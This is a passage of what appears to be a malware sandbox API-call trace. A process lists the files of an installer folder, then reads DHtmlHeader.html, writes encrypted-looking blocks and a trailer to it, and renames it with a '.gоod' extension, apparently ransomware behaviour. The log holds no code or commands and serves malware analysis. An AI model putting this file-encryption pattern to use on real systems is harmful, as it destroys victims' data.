cFileName="2052", cAlternateFileName="")) returned 1 [0069.350] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2070", cAlternateFileName="")) returned 1 [0069.350] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3076", cAlternateFileName="")) returned 1 [0069.350] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0069.350] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0069.350] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0069.350] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0069.351] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extended", cAlternateFileName="")) returned 1 [0069.351] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graphics", cAlternateFileName="")) returned 1 [0069.351] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0069.351] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0069.351] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0069.351] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0069.352] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0069.352] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0069.352] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0069.353] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0069.353] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0069.353] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0069.353] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0069.353] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0069.353] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0069.354] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0069.354] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0069.354] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0069.354] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0069.354] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x0, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0069.354] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0069.355] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0069.355] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0069.355] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0069.355] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0069.355] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0069.355] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0069.356] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0069.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee860) returned 1 [0069.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee820) returned 1 [0069.356] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DHtmlHeader.html", lpFilePart=0x0) returned 0x26 [0069.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0069.356] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), fInfoLevelId=0x0, lpFileInformation=0x3347c98 | out: lpFileInformation=0x3347c98*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6)) returned 1 [0069.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0069.358] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DHtmlHeader.html", lpFilePart=0x0) returned 0x26 [0069.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0069.358] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0069.359] GetFileType (hFile=0x6b0) returned 0x1 [0069.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0069.359] GetFileType (hFile=0x6b0) returned 0x1 [0069.359] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0069.359] ReadFile (in: hFile=0x6b0, lpBuffer=0x3348040, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x3348040*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0069.360] CloseHandle (hObject=0x6b0) returned 1 [0069.361] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DHtmlHeader.html", lpFilePart=0x0) returned 0x26 [0069.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0069.361] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0069.361] GetFileType (hFile=0x6b0) returned 0x1 [0069.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0069.361] GetFileType (hFile=0x6b0) returned 0x1 [0069.361] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x3ef6 [0069.361] WriteFile (in: hFile=0x6b0, lpBuffer=0x33492a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x33492a0*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0069.362] CloseHandle (hObject=0x6b0) returned 1 [0069.363] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DHtmlHeader.html", lpFilePart=0x0) returned 0x26 [0069.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0069.363] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0069.363] GetFileType (hFile=0x6b0) returned 0x1 [0069.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0069.364] GetFileType (hFile=0x6b0) returned 0x1 [0069.364] ReadFile (in: hFile=0x6b0, lpBuffer=0x334b528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x334b528*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0069.618] CloseHandle (hObject=0x6b0) returned 1 [0069.619] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DHtmlHeader.html", lpFilePart=0x0) returned 0x26 [0069.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0069.619] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0069.619] GetFileType (hFile=0x6b0) returned 0x1 [0069.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0069.619] GetFileType (hFile=0x6b0) returned 0x1 [0069.619] WriteFile (in: hFile=0x6b0, lpBuffer=0x334a2b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x334a2b8*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0069.619] CloseHandle (hObject=0x6b0) returned 1 [0069.620] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DHtmlHeader.html", lpFilePart=0x0) returned 0x26 [0069.620] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DHtmlHeader.html.gоod", lpFilePart=0x0) returned 0x2b [0069.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0069.621] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: 